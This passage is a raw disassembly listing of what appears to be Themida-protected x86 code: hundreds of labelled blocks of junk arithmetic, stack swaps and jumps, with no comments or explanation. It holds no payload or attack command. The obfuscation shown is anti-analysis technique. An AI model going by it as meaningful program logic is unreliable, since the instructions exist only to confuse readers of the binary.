loc_5A482B ; --------------------------------------------------------------------------- loc_5A34F6: ; CODE XREF: Themida_:0059D3F2j add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5A3CB7 ; --------------------------------------------------------------------------- loc_5A350E: ; CODE XREF: Themida_:005A50FBj push ecx jmp loc_59226A ; --------------------------------------------------------------------------- loc_5A3514: ; CODE XREF: Themida_:0059B5E5j add ecx, 7C920ECBh mov edi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_59116C push 0AFBh mov [esp], ebx mov ebx, 1Ch push 49C9h mov [esp], esi mov esi, 0BFF2D59h add esi, 524AFC9Ah add ebx, esi pop esi jmp loc_59A1F4 ; --------------------------------------------------------------------------- loc_5A3568: ; CODE XREF: Themida_:005A5280j add edx, 117C2C47h shl edx, 6 add edx, 0F0CF92CFh and eax, edx pop edx sub eax, 49DD2C0Ch add eax, 3DE92B43h jmp loc_5A2FB2 ; --------------------------------------------------------------------------- loc_5A3589: ; CODE XREF: Themida_:00595439j pop esp sub esp, 4 mov [esp], ebx mov ebx, 548C4AE0h not ebx shl ebx, 4 xor ebx, 2B8A263Ah sub ebx, 0F9F1D4FDh sub edi, ebx pop ebx sub eax, 538E5BBFh sub eax, edi add eax, 538E5BBFh jmp loc_59F557 ; --------------------------------------------------------------------------- loc_5A35BA: ; CODE XREF: Themida_:0059B727j pop esi sub esp, 4 mov [esp], ebp mov ebp, 4 add esi, ebp jmp loc_591BD4 ; --------------------------------------------------------------------------- loc_5A35CD: ; CODE XREF: Themida_:0059BDABj add dl, 3Bh add al, dl pop edx sub al, bl jmp loc_599194 ; --------------------------------------------------------------------------- loc_5A35DA: ; CODE XREF: Themida_:005A3B04j push esi not dword ptr [esp] pop esi jmp loc_5954B2 ; --------------------------------------------------------------------------- loc_5A35E4: ; CODE XREF: Themida_:0059BB58j push esi push esp pop esi add esi, 4 push ebx mov ebx, 4 sub esi, ebx jmp loc_59AC32 ; --------------------------------------------------------------------------- loc_5A35FA: ; CODE XREF: Themida_:0059BE1Ej xor ecx, ebp pop ebp dec ecx sub ecx, 5789A167h mov eax, ecx jmp loc_594D82 ; --------------------------------------------------------------------------- loc_5A360B: ; CODE XREF: Themida_:005931C3j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebp, 4 push ebx jmp loc_5911F0 ; --------------------------------------------------------------------------- loc_5A3627: ; CODE XREF: Themida_:0059DDDDj push edx mov dh, 7Fh jmp loc_5A5467 ; --------------------------------------------------------------------------- loc_5A362F: ; CODE XREF: Themida_:00596CD5j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esi push 40C7h mov [esp], edi jmp loc_5981C4 ; --------------------------------------------------------------------------- loc_5A364C: ; CODE XREF: Themida_:005964A3j shl ebp, 4 xor ebp, 1E86721Bh jmp loc_59E0AE ; --------------------------------------------------------------------------- loc_5A365A: ; CODE XREF: Themida_:0059C334j add esp, 4 inc eax or eax, 34C36247h shr eax, 6 sub eax, 1FB2DE9h add edx, eax pop eax push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5A12CD ; --------------------------------------------------------------------------- loc_5A367E: ; CODE XREF: Themida_:0059FA13j push ebp jmp loc_598E7E ; --------------------------------------------------------------------------- loc_5A3684: ; CODE XREF: Themida_:005965ACj add al, 5Ah push dx push eax mov ah, 0B3h push 88h jmp loc_59228F ; --------------------------------------------------------------------------- loc_5A3695: ; CODE XREF: Themida_:005961B3j pop bx and ch, 6 push dx mov dl, 24h add ch, dl jmp loc_5950FD ; --------------------------------------------------------------------------- loc_5A36A5: ; CODE XREF: Themida_:005A56F9j push esp pop dword ptr [esp] jmp loc_5A531F ; --------------------------------------------------------------------------- loc_5A36AE: ; CODE XREF: Themida_:005A56A0j mov ah, bl push ebx mov bl, ah jmp loc_59D1CD ; --------------------------------------------------------------------------- loc_5A36B8: ; CODE XREF: Themida_:0059282Dj pop ebp sub edx, 1D7C481h mov ebx, edx mov edx, [esp] add esp, 4 jmp loc_59FE46 ; --------------------------------------------------------------------------- loc_5A36CC: ; CODE XREF: Themida_:00599D62j pop ebx xor edi, 760E10CCh add eax, edi pop edi push edx jmp loc_590E5E ; --------------------------------------------------------------------------- loc_5A36DC: ; CODE XREF: Themida_:00599BD1j push ecx jmp loc_598C4B ; --------------------------------------------------------------------------- loc_5A36E2: ; CODE XREF: Themida_:005909F8j add esi, 0FFFFFFFFh add esi, 0ACCA645Ch xor ecx, esi mov esi, [esp] add esp, 4 jmp loc_596080 ; --------------------------------------------------------------------------- loc_5A36FB: ; CODE XREF: Themida_:005935ACj sub ebx, 0F436F78Ah mov esi, ebx jmp loc_597F8E ; --------------------------------------------------------------------------- loc_5A3708: ; CODE XREF: Themida_:0059BAF3j push 5B7Dh mov [esp], eax mov ah, dh push ecx mov cl, ah mov bl, cl mov ecx, [esp] add esp, 4 pop eax jmp loc_597C4C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_597B4B ; --------------------------------------------------------------------------- loc_5A372F: ; CODE XREF: Themida_:0059750Bj mov ebx, esp add ebx, 4 push esi push edi mov edi, 50E92BA6h push 1E95h mov [esp], eax jmp loc_5A39F5 ; --------------------------------------------------------------------------- loc_5A374B: ; CODE XREF: Themida_:005A25B4j sub ecx, 250A5040h add ecx, ebp add ecx, 250A5040h pop ebp sub ecx, 2 jmp loc_5A400A ; --------------------------------------------------------------------------- loc_5A3762: ; CODE XREF: Themida_:00598319j push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A1453 ; --------------------------------------------------------------------------- loc_5A3772: ; CODE XREF: Themida_:00594AC9j pop edx sub ch, 1 sub ch, 0FFh sub ch, 0D9h jmp loc_59F4D4 ; --------------------------------------------------------------------------- loc_5A3781: ; CODE XREF: Themida_:005942F7j pop ebp push ebx mov ebx, 1D9C74EEh push edi mov edi, 62A205D1h jmp loc_59F8AB ; --------------------------------------------------------------------------- loc_5A3793: ; CODE XREF: Themida_:005A4E6Aj mov ebp, [esp] add esp, 4 jmp loc_593C8A ; --------------------------------------------------------------------------- loc_5A37A1: ; CODE XREF: Themida_:005A3385j pop ecx push edi push esp pop edi jmp loc_59B5EA ; --------------------------------------------------------------------------- loc_5A37AA: ; CODE XREF: Themida_:00590875j xchg al, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A37B2: ; CODE XREF: Themida_:0059F3D1j mov bh, ah mov cl, bh pop ebx mov ax, [esp] add esp, 2 push ebx jmp loc_5A5178 ; --------------------------------------------------------------------------- loc_5A37C4: ; CODE XREF: Themida_:005A2FB7j add esp, 4 xchg ebp, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A37D4: ; CODE XREF: Themida_:0059310Cj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_59AE5C ; --------------------------------------------------------------------------- loc_5A37E2: ; CODE XREF: Themida_:0059E591j push 59Ah jmp loc_5A49B9 ; --------------------------------------------------------------------------- loc_5A37EC: ; CODE XREF: Themida_:005A2C90j push dword ptr [esp] pop ebx jmp loc_5A3AC8 ; --------------------------------------------------------------------------- loc_5A37F5: ; CODE XREF: Themida_:005A0418j add edx, 4 xchg edx, [esp] pop esp push esi push 5BDBB359h push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push ecx jmp loc_598F57 ; --------------------------------------------------------------------------- loc_5A3815: ; CODE XREF: Themida_:0059C5B4j pop esp xchg ebp, [esp] mov esp, [esp] jmp loc_5A3871 ; --------------------------------------------------------------------------- loc_5A3821: ; CODE XREF: Themida_:00599035j pop eax push ebx jmp loc_595F5F ; --------------------------------------------------------------------------- loc_5A3828: ; CODE XREF: Themida_:00597760j xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_592FF1 ; --------------------------------------------------------------------------- loc_5A3834: ; CODE XREF: Themida_:0059F88Bj xchg ebx, [esp] jmp loc_5A5315 ; --------------------------------------------------------------------------- loc_5A383C: ; CODE XREF: Themida_:0059B46Cj add esp, 4 add esp, 4 jmp loc_593639 ; --------------------------------------------------------------------------- loc_5A384A: ; CODE XREF: Themida_:005964DEj mov ebp, [esp] add esp, 4 jmp loc_597667 ; --------------------------------------------------------------------------- loc_5A3858: ; CODE XREF: Themida_:005920E5j shr dl, 4 push ecx mov cl, 81h jmp loc_5A23EC ; --------------------------------------------------------------------------- loc_5A3863: ; CODE XREF: Themida_:0059B326j add ebp, esi pop esi add ebp, 5C692305h jmp loc_59D526 ; --------------------------------------------------------------------------- loc_5A3871: ; CODE XREF: Themida_:005A381Cj shr ecx, 0 or eax, eax jz loc_59F5C1 push 9D1h mov [esp], edx sub esp, 4 mov [esp], ebx push eax mov eax, 1DB0403Ch jmp loc_5A3CF1 ; --------------------------------------------------------------------------- loc_5A3895: ; CODE XREF: Themida_:005971B7j add ecx, edx mov edx, [esp] add esp, 4 push ebp sub esp, 4 mov [esp], ebx mov ebx, 6F2331E5h push edi mov edi, 81015B3h mov ebp, 77334794h jmp loc_59EA5C ; --------------------------------------------------------------------------- loc_5A38BC: ; CODE XREF: Themida_:005A0D5Cj add edx, edi sub edx, 1F4C19FDh pop edi jmp loc_59D2CA ; --------------------------------------------------------------------------- loc_5A38CA: ; CODE XREF: Themida_:0059F452j sub esp, 4 jmp loc_59CEE6 ; --------------------------------------------------------------------------- loc_5A38D5: ; CODE XREF: Themida_:0059BCCBj sub esi, 338D2A3Bh add esi, ebp add esi, 338D2A3Bh add esi, 671D3376h pop ebp push ebx jmp loc_5A1F00 ; --------------------------------------------------------------------------- loc_5A38F0: ; CODE XREF: Themida_:005926C6j add eax, ebp pop ebp xchg eax, [esp] jmp loc_597D4C ; --------------------------------------------------------------------------- loc_5A38FB: ; CODE XREF: Themida_:00591043j xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push esi push edi push esi mov esi, 2B53396h push esi push 4F3527E2h jmp loc_599A71 ; --------------------------------------------------------------------------- loc_5A3923: ; CODE XREF: Themida_:005999AEj sub al, bh jmp loc_59937A ; --------------------------------------------------------------------------- loc_5A392A: ; CODE XREF: Themida_:00596506j add eax, ebx push ecx mov ecx, 7D7B447Bh push esi mov esi, 3AC02032h jmp loc_5A54F9 ; --------------------------------------------------------------------------- loc_5A393D: ; CODE XREF: Themida_:0059EF68j add [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A3947: ; CODE XREF: Themida_:005A41AFj xchg ebp, [esp] pop esp add ebp, 4 push esi push ebp jmp loc_5A285C ; --------------------------------------------------------------------------- loc_5A3958: ; CODE XREF: Themida_:005945D7j mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, 4 add edx, ebx jmp loc_594E5B ; --------------------------------------------------------------------------- loc_5A3985: ; CODE XREF: Themida_:0059BC53j push edx mov edx, 3241308Ah jmp loc_592C14 ; --------------------------------------------------------------------------- loc_5A3990: ; CODE XREF: Themida_:00598006j pop edx shr ebx, 4 jmp loc_5972B7 ; --------------------------------------------------------------------------- loc_5A3999: ; CODE XREF: Themida_:00594005j add eax, 404E6E30h add [eax], ebx pop eax pop edx mov ebx, [esp] add esp, 4 loc_5A39A8: ; CODE XREF: Themida_:005A3BFFj push ebx mov eax, [esp] push 7B6Eh jmp loc_594684 ; --------------------------------------------------------------------------- loc_5A39B6: ; CODE XREF: Themida_:0059C549j push ecx mov ecx, esp push edx jmp loc_59611E ; --------------------------------------------------------------------------- loc_5A39BF: ; CODE XREF: Themida_:005A0771j add edi, 5A3A4EE7h push edi sub dword ptr [esp], 66982126h jmp loc_59744E ; --------------------------------------------------------------------------- loc_5A39D2: ; CODE XREF: Themida_:005A3461j sub ecx, 7EA02271h xor ecx, 43A0A9DDh jmp loc_593641 ; --------------------------------------------------------------------------- loc_5A39E3: ; CODE XREF: Themida_:00594B93j mov edx, 4AAD30A2h add dword ptr [esp+8], 66C911A1h jmp loc_5A1060 ; --------------------------------------------------------------------------- loc_5A39F5: ; CODE XREF: Themida_:005A3746j mov eax, edi push eax xor dword ptr [esp], 73B503F6h jmp loc_5A3C90 ; --------------------------------------------------------------------------- loc_5A3A04: ; CODE XREF: Themida_:00590D88j not esi xchg esi, [esp] mov ebx, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp jmp loc_594BB6 ; --------------------------------------------------------------------------- loc_5A3A23: ; CODE XREF: Themida_:0059A477j mov edx, eax jmp loc_5A214B ; --------------------------------------------------------------------------- loc_5A3A2A: ; CODE XREF: Themida_:00597CD8j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59A068 ; --------------------------------------------------------------------------- loc_5A3A47: ; CODE XREF: Themida_:005A0DDCj add eax, ebp pop ebp sub eax, ebx sub eax, 2F4C4F50h push 3C1Fh mov [esp], edi jmp loc_59E4C2 ; --------------------------------------------------------------------------- loc_5A3A5E: ; CODE XREF: Themida_:00597F1Fj neg bl jmp loc_59F79C ; --------------------------------------------------------------------------- loc_5A3A65: ; CODE XREF: Themida_:00595D94j mov ecx, esp add ecx, 4 jmp loc_59D9FE ; --------------------------------------------------------------------------- loc_5A3A72: ; CODE XREF: Themida_:005953B2j mov [esp], ecx mov ecx, 10E03E64h jmp loc_595F4C ; --------------------------------------------------------------------------- loc_5A3A7F: ; CODE XREF: Themida_:005981A2j add esp, 2 push edx mov dl, 0EDh add al, dl pop edx push dword ptr [esp] pop edx add esp, 4 push dx mov dh, 87h inc dh sub dh, 0F1h xor dh, 6Ah add bl, 6Dh sub bl, dh sub bl, 6Dh mov dx, [esp] add esp, 2 sub bl, 4Ch sub bl, al jmp loc_59D020 ; --------------------------------------------------------------------------- loc_5A3ABA: ; CODE XREF: Themida_:0059C734j sub esp, 4 mov [esp], ebx jmp loc_59111C ; --------------------------------------------------------------------------- loc_5A3AC8: ; CODE XREF: Themida_:005A37F0j push 5ED0h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_593FE3 ; --------------------------------------------------------------------------- loc_5A3AEC: ; CODE XREF: Themida_:005A4033j not edx inc edx xor edx, 76485065h sub edx, 60B39C52h sub eax, edx pop edx jmp loc_598D48 ; --------------------------------------------------------------------------- loc_5A3B03: ; CODE XREF: Themida_:0059A749j inc esi jmp loc_5A35DA ; --------------------------------------------------------------------------- loc_5A3B09: ; CODE XREF: Themida_:0059381Cj push ebx mov bl, 0F7h push bx sub byte ptr [esp], 1 jmp loc_590CA7 ; --------------------------------------------------------------------------- loc_5A3B17: ; CODE XREF: Themida_:00593BC8j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] movsx ecx, al jmp loc_5A205E ; --------------------------------------------------------------------------- loc_5A3B2B: ; CODE XREF: Themida_:005A3DA4j pop ebp add ebp, 4 jmp loc_594FF2 ; --------------------------------------------------------------------------- loc_5A3B37: ; CODE XREF: Themida_:005923A7j add esp, 4 push 6994h mov [esp], ebx push 6448h jmp loc_59AFB4 ; --------------------------------------------------------------------------- loc_5A3B4C: ; CODE XREF: Themida_:0059E0F6j mov esi, esp push ebx mov ebx, 4 add esi, ebx jmp loc_59831E ; --------------------------------------------------------------------------- loc_5A3B5B: ; CODE XREF: Themida_:005A4562j xchg esi, [esp] pop esp mov [esp], ebp push 21C9h mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx mov ecx, 5C245F3Ah push edi mov edi, 66DA0089h sub edi, 463B9308h sub ecx, edi jmp loc_595D02 ; --------------------------------------------------------------------------- loc_5A3B88: ; CODE XREF: Themida_:00598CA7j add dword ptr [esp], 4 pop edx push ebp mov ebp, 893031Ah jmp loc_594E0B ; --------------------------------------------------------------------------- loc_5A3B9B: ; CODE XREF: Themida_:0059FECAj pop edx xchg ebx, [esp] pop esp push esi push edi jmp loc_5A1CFA ; --------------------------------------------------------------------------- loc_5A3BA7: ; CODE XREF: Themida_:005A56EBj add esi, 4 xchg esi, [esp] pop esp push 5135h mov [esp], ebp jmp loc_5A25AF ; --------------------------------------------------------------------------- loc_5A3BBB: ; CODE XREF: Themida_:0059A106j add dh, 1Eh add bl, dh pop edx mov edx, [esp] jmp loc_5A2273 ; --------------------------------------------------------------------------- loc_5A3BC9: ; CODE XREF: Themida_:0059DF21j push edi mov edi, 47C57331h and edi, 29D679FAh add edi, 0F5A0EBFh inc edi neg edi not edi jmp loc_5A1B02 ; --------------------------------------------------------------------------- loc_5A3BE5: ; CODE XREF: Themida_:0059F17Bj add esp, 4 xor [esp+4], ebx jmp loc_59FC11 ; --------------------------------------------------------------------------- loc_5A3BF4: ; CODE XREF: Themida_:00593A65j add esp, 4 add esp, 4 or eax, eax jz loc_5A39A8 push 6B52h jmp loc_594F75 ; --------------------------------------------------------------------------- loc_5A3C0F: ; CODE XREF: Themida_:005A2EEFj push ebp mov ebp, 41A13446h inc ebp add ebp, 5CEC37D2h sub ebp, 55E85177h sub ebx, ebp jmp loc_59F3B7 ; --------------------------------------------------------------------------- loc_5A3C29: ; CODE XREF: Themida_:005941E5j push dword ptr [esp] jmp loc_595D08 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A3C3B: ; CODE XREF: Themida_:005A0112j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_594AE2 ; --------------------------------------------------------------------------- loc_5A3C4E: ; CODE XREF: Themida_:0059D8C8j sub ebp, 2 jmp loc_59EEAC ; --------------------------------------------------------------------------- loc_5A3C56: ; CODE XREF: Themida_:0059AA5Bj pop ebx mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ecx push eax push edi jmp loc_5990E2 ; --------------------------------------------------------------------------- loc_5A3C7B: ; CODE XREF: Themida_:0059847Fj pop ecx jmp loc_59178C ; --------------------------------------------------------------------------- loc_5A3C81: ; CODE XREF: Themida_:0059A6ABj mov [esp], eax jmp loc_599D81 ; --------------------------------------------------------------------------- loc_5A3C89: ; CODE XREF: Themida_:0059697Bj xor ebx, edi jmp loc_5947AC ; --------------------------------------------------------------------------- loc_5A3C90: ; CODE XREF: Themida_:005A39FFj pop esi xor esi, 73B503F6h pop eax jmp loc_5A0349 ; --------------------------------------------------------------------------- loc_5A3C9D: ; CODE XREF: Themida_:00596A57j mov ecx, edi jmp loc_59C1CE ; --------------------------------------------------------------------------- loc_5A3CA4: ; CODE XREF: Themida_:0059418Aj mov ch, bh jmp loc_597253 ; --------------------------------------------------------------------------- loc_5A3CAB: ; CODE XREF: Themida_:005972D6j pop ebp xor ebp, 50473A0Fh jmp loc_5A2A4D ; --------------------------------------------------------------------------- loc_5A3CB7: ; CODE XREF: Themida_:005A3509j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A3CBC: ; CODE XREF: Themida_:00590FD9j pop ecx jmp loc_59C86C ; --------------------------------------------------------------------------- loc_5A3CC2: ; CODE XREF: Themida_:005A2D6Cj pop ecx jmp loc_594641 ; --------------------------------------------------------------------------- loc_5A3CC8: ; CODE XREF: Themida_:00598081j add dword ptr [esp], 4 pop eax add eax, 4 push ecx mov ecx, 4 add eax, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5925C6 ; --------------------------------------------------------------------------- loc_5A3CF1: ; CODE XREF: Themida_:005A3890j sub [esp+4], eax pop eax mov edx, [esp] add esp, 4 push esi mov esi, 4FDB1CD3h sub esp, 4 mov [esp], edi mov edi, 753D35D1h sub edi, 5CB4395Bh inc edi not edi add edi, 1 shr edi, 3 xor edi, 698C5E72h add edi, 0DDD89AADh push ebp push ebx mov ebx, 16968E3h jmp loc_5949CA ; --------------------------------------------------------------------------- loc_5A3D3A: ; CODE XREF: Themida_:00598AC0j mov edx, 6CEA25E8h shr edx, 3 not edx shl edx, 1 and edx, 2151550Eh xor edx, 189B5B71h push ecx mov ecx, 5F155150h xor edx, ecx pop ecx add ebx, edx pop edx xor ebx, 854FB103h jmp loc_59EF82 ; --------------------------------------------------------------------------- loc_5A3D69: ; CODE XREF: Themida_:0059204Cj and ebp, ecx pop ecx xor ebp, 4287F3Eh sub ebp, 95C34050h sub esp, 4 mov [esp], eax jmp loc_593EC4 ; --------------------------------------------------------------------------- loc_5A3D83: ; CODE XREF: Themida_:005A0218j sub ebp, ecx pop ecx add eax, 38F0F90h push esi mov esi, 6D2D0FEFh jmp loc_59E1FA ; --------------------------------------------------------------------------- loc_5A3D96: ; CODE XREF: Themida_:00599CCFj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebp push esp jmp loc_5A3B2B ; --------------------------------------------------------------------------- loc_5A3DA9: ; CODE XREF: Themida_:00592C04j mov [esp], edx push esp pop edx add edx, 4 push edi jmp loc_5A27AF ; --------------------------------------------------------------------------- loc_5A3DBA: ; CODE XREF: Themida_:005A0F55j mov edi, 4 add [esp+4], edi mov edi, [esp] add esp, 4 mov ebx, [esp] sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_59A29A ; --------------------------------------------------------------------------- loc_5A3DEA: ; CODE XREF: Themida_:005A33A3j sub esi, edi pop edi sub eax, esi pop esi push edi mov edi, 23B43336h dec edi shl edi, 4 jmp loc_5906D4 ; --------------------------------------------------------------------------- loc_5A3DFF: ; CODE XREF: Themida_:00595B70j mov esp, [esp] jmp loc_5A1E84 ; --------------------------------------------------------------------------- loc_5A3E07: ; CODE XREF: Themida_:005A1123j sub esp, 4 mov [esp], ebp push edx mov edx, 11DC27A2h inc edx and edx, 0E4F4466h jmp loc_5A4F2D ; --------------------------------------------------------------------------- loc_5A3E22: ; CODE XREF: Themida_:00592FC0j add esi, edx pop edx push ebp jmp loc_5A40F4 ; --------------------------------------------------------------------------- loc_5A3E2B: ; CODE XREF: Themida_:00595C16j add edx, 4 jmp loc_59C4E6 ; --------------------------------------------------------------------------- loc_5A3E36: ; CODE XREF: Themida_:00598B53j sub eax, ebp pop ebp push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_5A4F46 ; --------------------------------------------------------------------------- loc_5A3E45: ; CODE XREF: Themida_:0059922Fj mov esi, 68F09D3h push 72ADh jmp loc_59A706 ; --------------------------------------------------------------------------- loc_5A3E54: ; CODE XREF: Themida_:005A2373j add ebp, 2E3A50B3h shl ebp, 7 jmp loc_59FFAF ; --------------------------------------------------------------------------- loc_5A3E62: ; CODE XREF: Themida_:0059CA5Fj pop ebp push ebx mov ebx, 1A1B4C92h add ebx, 0FFFFFFFFh jmp loc_594C6B ; --------------------------------------------------------------------------- loc_5A3E74: ; CODE XREF: Themida_:00599471j push ebp mov ebp, 3D202FE0h add ebx, ebp pop ebp sub eax, ebx pop ebx shl eax, 7 jmp loc_595540 ; --------------------------------------------------------------------------- loc_5A3E88: ; CODE XREF: Themida_:0059DF91j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov eax, edx push dword ptr [esp] push dword ptr [esp] mov edx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi push esp jmp loc_592114 ; --------------------------------------------------------------------------- loc_5A3EC0: ; CODE XREF: Themida_:0059D5C7j mov dl, 99h sub ch, 9Fh add ch, dl add ch, 9Fh mov dx, [esp] add esp, 2 push ebx mov bh, 3Ah neg bh add bh, 13h or ch, bh pop ebx jmp loc_5A1EC2 ; --------------------------------------------------------------------------- loc_5A3EE1: ; CODE XREF: Themida_:00594DDEj mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_59604F ; --------------------------------------------------------------------------- mov ax, [esp] push esi jmp loc_590961 ; --------------------------------------------------------------------------- loc_5A3EFE: ; CODE XREF: Themida_:0059E145j mov ecx, 20E20D72h push ecx xchg ebx, [esp] not ebx jmp loc_59A621 ; --------------------------------------------------------------------------- loc_5A3F0E: ; CODE XREF: Themida_:00597ECEj mov [esp], esi mov esi, 49B97556h push edx jmp loc_590FDE ; --------------------------------------------------------------------------- loc_5A3F1C: ; CODE XREF: Themida_:0059A7F1j not edi xor edi, 0E6CACA7Bh mov ecx, edi pop edi mov esi, 0E078EB80h jmp loc_5A2C16 ; --------------------------------------------------------------------------- loc_5A3F31: ; CODE XREF: Themida_:005A3362j push dword ptr [esp] jmp loc_5999FF ; --------------------------------------------------------------------------- loc_5A3F39: ; CODE XREF: Themida_:005A3F6Aj or ebx, 4C5946BBh jmp loc_596A78 ; --------------------------------------------------------------------------- loc_5A3F44: ; CODE XREF: Themida_:0059D749j pop edi push ebx jmp loc_5957B4 ; --------------------------------------------------------------------------- loc_5A3F4B: ; CODE XREF: Themida_:00591277j add eax, 3CE37E3Eh jmp loc_597C65 ; --------------------------------------------------------------------------- loc_5A3F55: ; CODE XREF: Themida_:00597043j mov ebx, 271F5550h add esi, ebx pop ebx or esi, 256E7293h dec esi push ebx mov ebx, 7B853DC8h jmp loc_5A3F39 ; --------------------------------------------------------------------------- loc_5A3F6F: ; CODE XREF: Themida_:005A0AB1j sub dh, bh jmp loc_597DD2 ; --------------------------------------------------------------------------- loc_5A3F76: ; CODE XREF: Themida_:005A4E9Dj mov edi, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_59CDBE ; --------------------------------------------------------------------------- mov eax, [esp] push edi mov edi, esp jmp loc_5A18C3 ; --------------------------------------------------------------------------- loc_5A3F92: ; CODE XREF: Themida_:00599EDEj dec ch xor ch, 53h push ax jmp loc_590645 ; --------------------------------------------------------------------------- loc_5A3F9E: ; CODE XREF: Themida_:0059DE52j mov bl, 4Bh push ecx mov ch, 80h add bl, ch mov ecx, [esp] add esp, 4 mov ah, bl mov ebx, [esp] add esp, 4 and ah, 0B3h jmp loc_595E1B ; --------------------------------------------------------------------------- loc_5A3FBE: ; CODE XREF: Themida_:005A0195j sub esp, 4 mov [esp], esi push edi push 1E6D43A1h pop edi sub edi, 0E760105h add edi, 19531CC0h mov esi, edi pop edi xor eax, esi pop esi add esi, eax pop eax push ecx mov ecx, 2 jmp loc_59E0C2 ; --------------------------------------------------------------------------- loc_5A3FEB: ; CODE XREF: Themida_:0059D2A7j add esp, 4 jmp loc_5A471C ; --------------------------------------------------------------------------- loc_5A3FF6: ; CODE XREF: Themida_:005926CCj add al, 11h push edx jmp loc_5990D1 ; --------------------------------------------------------------------------- loc_5A3FFE: ; CODE XREF: Themida_:0059F552j sub al, 8Ah pop edx push ecx push ebx mov bh, 1Ch jmp loc_59EABE ; --------------------------------------------------------------------------- loc_5A400A: ; CODE XREF: Themida_:005A375Dj push 501h mov [esp], ecx push dword ptr [esp+4] jmp loc_5A1B5C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A402A: ; CODE XREF: Themida_:0059C601j push edx mov edx, 74014765h shr edx, 6 jmp loc_5A3AEC ; --------------------------------------------------------------------------- loc_5A4038: ; CODE XREF: Themida_:0059099Cj add edi, 47223193h pop edx push esi mov esi, 4 jmp loc_591240 ; --------------------------------------------------------------------------- loc_5A404A: ; CODE XREF: Themida_:0059BACBj xchg edi, [esp] pop esp pop ebp add ebp, esi mov esi, [esp] jmp loc_59C4BE ; --------------------------------------------------------------------------- loc_5A4059: ; CODE XREF: Themida_:0059FB4Aj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5A0C66 ; --------------------------------------------------------------------------- loc_5A4072: ; CODE XREF: Themida_:005A1E9Dj mov esp, [esp] xchg edi, [esp] jmp loc_5978EB ; --------------------------------------------------------------------------- loc_5A407D: ; CODE XREF: Themida_:0059C76Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 3E593BFFh sub ebp, 1E8E39D3h jmp loc_595251 ; --------------------------------------------------------------------------- loc_5A409E: ; CODE XREF: Themida_:005931A6j sub eax, 5244A79h push ecx mov ecx, 73EC11EAh xor eax, ecx jmp loc_5905A6 ; --------------------------------------------------------------------------- loc_5A40B0: ; CODE XREF: Themida_:00592108j xor dl, 0A8h add al, dl mov edx, [esp] add esp, 4 push ecx mov cl, 0CDh shr cl, 2 xor cl, 58h shl cl, 3 sub cl, 0FFh dec cl push eax mov ah, 9Fh add cl, 69h sub cl, ah jmp loc_597698 ; --------------------------------------------------------------------------- loc_5A40D9: ; CODE XREF: Themida_:00594B2Aj push edx mov edx, 344B40A1h jmp loc_591367 ; --------------------------------------------------------------------------- loc_5A40E4: ; CODE XREF: Themida_:0059B33Aj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59C339 ; --------------------------------------------------------------------------- loc_5A40F4: ; CODE XREF: Themida_:005A3E26j mov ebp, 32413E22h shr ebp, 5 add ebp, 1DFD3842h add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, esi sub ebx, 1F8F4233h jmp loc_5A3012 ; --------------------------------------------------------------------------- loc_5A411A: ; CODE XREF: Themida_:0059E393j add esp, 4 push esi mov esi, 9144D2Bh push ecx mov ecx, 1E3C5B8Ch inc ecx jmp loc_592620 ; --------------------------------------------------------------------------- loc_5A412F: ; CODE XREF: Themida_:00590A2Cj sub ebp, edi pop edi add ebp, 20D0641Ah push ecx mov ecx, 0A657193Fh jmp loc_5A4450 ; 